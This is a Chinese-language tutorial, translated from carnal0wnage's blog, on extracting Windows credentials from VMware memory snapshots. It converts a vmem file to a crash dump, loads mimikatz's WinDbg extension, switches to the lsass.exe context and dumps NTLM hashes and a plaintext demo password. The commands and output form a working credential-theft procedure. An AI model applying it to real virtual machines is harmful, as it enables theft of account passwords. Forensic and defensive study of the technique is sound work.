前言:
这篇文章来自于国外的carnal0wnage,具体是通过利用windbg载入Mimikatz读取虚拟机内存文件(vmem/vmsn文件),从而获取到其中的密码。之前也有人单独介绍过Mimikatz和metasploit的Mimikatz模块,这次我们主要说一下windbg是怎样使用Mimikatz进行内存取证的。下面我们来看一下carnal0wnage是怎样做的。
题外话:
为了让大家看的更明白,这里我们先简单说一下Mimikatz:该神器出自法国大神Benjamin Delpy之手,可以直接获取到大多数windows平台下的明文密码,相比于其他工具,最大的特点是速度极快,无需等待。关于神器用法之前介绍过了,大家可以戳这里:/computer/security/20200816/cd15975473634422.html
原理是从lsass.exe进程中直接获取密码信息进行破解,而且该破解应该并非穷举方式,而是直接根据算法进行反向计算,这一点原作者已经给出了说明:
下载地址在这里:http://blog.gentilkiwi.com/mimikatz
废话不多说,现在我们看下carnal0wnage是如何做的:
(前面的我就不写了,大约是carnal0wnage的一些个人感慨。。我个人对别人的私生活私感想没兴趣=。=)
当在vCenter/ESXi系统上做这些研究时,我先贴出一些关于这个问题的一些博客文章:
http://www.remkoweijnen.nl/blog/2013/11/25/dumping-passwords-in-a-vmware-vmem-file/
http://blog.gentilkiwi.com/securite/mimikatz/windbg-extension
http://vniklas.djungeln.se/2013/11/29/password-dump-from-a-hyper-v-virtual-machines-memory/
当然,在做这些之前,你需要一些工具:
Windows调试工具(windbg,研究的主要角色)
http://www.remkoweijnen.nl/blog/2013/06/13/debugging-tools-for-windows-direct-download/
http://blog.gentilkiwi.com/programmes/windbg
Windows内存内核工具
http://www.moonsols.com/windows-memory-toolkit/
最新版本的mimikatz已经支持windbg的调用:
https://github.com/gentilkiwi/mimikatz
下面我们开始:
#1 从虚拟主机中拷贝出虚拟内存文件(vmem/vmsn)
#2 使用moonsols的bin2dmp将内存文件转换为dmp格式文件(这里我用的是之前的付过费的pro版)
- C:\Users\user\Desktop>Bin2Dmp.exe "Windows Server 2008 x64-b2afd86a.vmem" win2k8.dmp
- bin2dmp - v2.1.0.20140115
- Convert raw memory dump images into Microsoft crash dump files.
- Copyright (C) 2007 - 2014, Matthieu Suiche
- Copyright (C) 2012 - 2014, MoonSols Limited
- Initializing memory descriptors... Done.
- Directory Table Base is 0x124000
- Looking for Kernel Base...
- Looking for kernel variables... Done.
- Loading file... Done.
- nt!KiProcessorBlock.Prcb.Context = 0xFFFFF80001B797A0
- stuff happens
- [0x0000000040000000 of 0x0000000040000000] [0x000000001DAFE000 of 0x000000
- MD5 = E8C2F318FA528285281C21B3141E7C51
- Total time for the conversion: 0 minutes 14 seconds.
到这,你应该可以获取到一个dmp文件了,我们可以进行下一步工作了。
#3 在windbg中载入dmp文件,下面是图片:
注意:我们要先在windbg控制台中运行.symfix,然后执行.reload
- kd> .symfix
- kd> .reload
- Loading Kernel Symbols
- ...............................................................
- ................................................................
- .....
- Loading User Symbols
- Loading unloaded module list
- ....
#4 windbg中载入mimilib模块
- kd> .load C:\users\user\desktop\mimilib.dll
- .#####. mimikatz 2.0 alpha (x64) release "Kiwi en C" (May 25 2014 21:48:13)
- .## ^ ##. Windows build 6002
- ## / \ ## /* * *
- ## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
- '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
- '#####' WinDBG extension ! * * */
- ===================================
- # * Kernel mode * #
- ===================================
- # Search for LSASS process
- 0: kd> !process 0 0 lsass.exe
- # Then switch to its context
- 0: kd> .process /r /p
- # And finally :
- 0: kd> !mimikatz
- ===================================
- # * User mode * #
- ===================================
- 0:000> !mimikatz
- ===================================
#5 查找lsass进程
- kd> !process 0 0 lsass.exe
- PROCESS fffffa800dba26d0
- SessionId: 0 Cid: 023c Peb: 7fffffd4000 ParentCid: 01e4
- DirBase: 2e89f000 ObjectTable: fffff880056562c0 HandleCount: 1092.
- Image: lsass.exe
#6 将镜像lsass环境转换到本机中
- kd> .process /r /p fffffa800dba26d0
- Implicit process is now fffffa80`0dba26d0
- Loading User Symbols
- ................................................................
- ......................
#7 载入mimikatz
- kd> !mimikatz
- Authentication Id : 0 ; 996 (00000000:000003e4)
- Session : Service from 0
- User Name : WIN-3C4WXGGN8QE$
- Domain : UNLUCKYCOMPANY
- SID : S-1-5-20
- msv :
- [00000002] Primary
- * Username : WIN-3C4WXGGN8QE$
- * Domain : UNLUCKYCOMPANY
- * NTLM : ea2ed0b14406a168791adf5aee78fd0b
- * SHA1 : ab7bd2f6a64cf857c9d69dd65916622e3dc25424
- tspkg : KO
- ---SNIP---
- Authentication Id : 0 ; 173319 (00000000:0002a507)
- Session : Interactive from 1
- User Name : Administrator
- Domain : UNLUCKYCOMPANY
- SID : S-1-5-21-2086621178-2413078777-1398328459-500
- msv :
- [00000002] Primary
- * Username : Administrator
- * Domain : UNLUCKYCOMPANY
- * LM : e52cac67419a9a2238f10713b629b565
- * NTLM : 64f12cddaa88057e06a81b54e73b949b
- * SHA1 : cba4e545b7ec918129725154b29f055e4cd5aea8
- tspkg :
- * Username : Administrator
- * Domain : UNLUCKYCOMPANY
- * Password : Password1
- wdigest :
- * Username : Administrator
- * Domain : UNLUCKYCOMPANY
- * Password : Password1
- kerberos :
- * Username : Administrator
- * Domain : UNLUCKYCOMPANY.NET
- * Password : Password1
- * Key List
- ---SNIP---
Okay,这样我们就获取到了内存中的密码,明文的。
[参考来源carnal0wnage's blog略有删减。]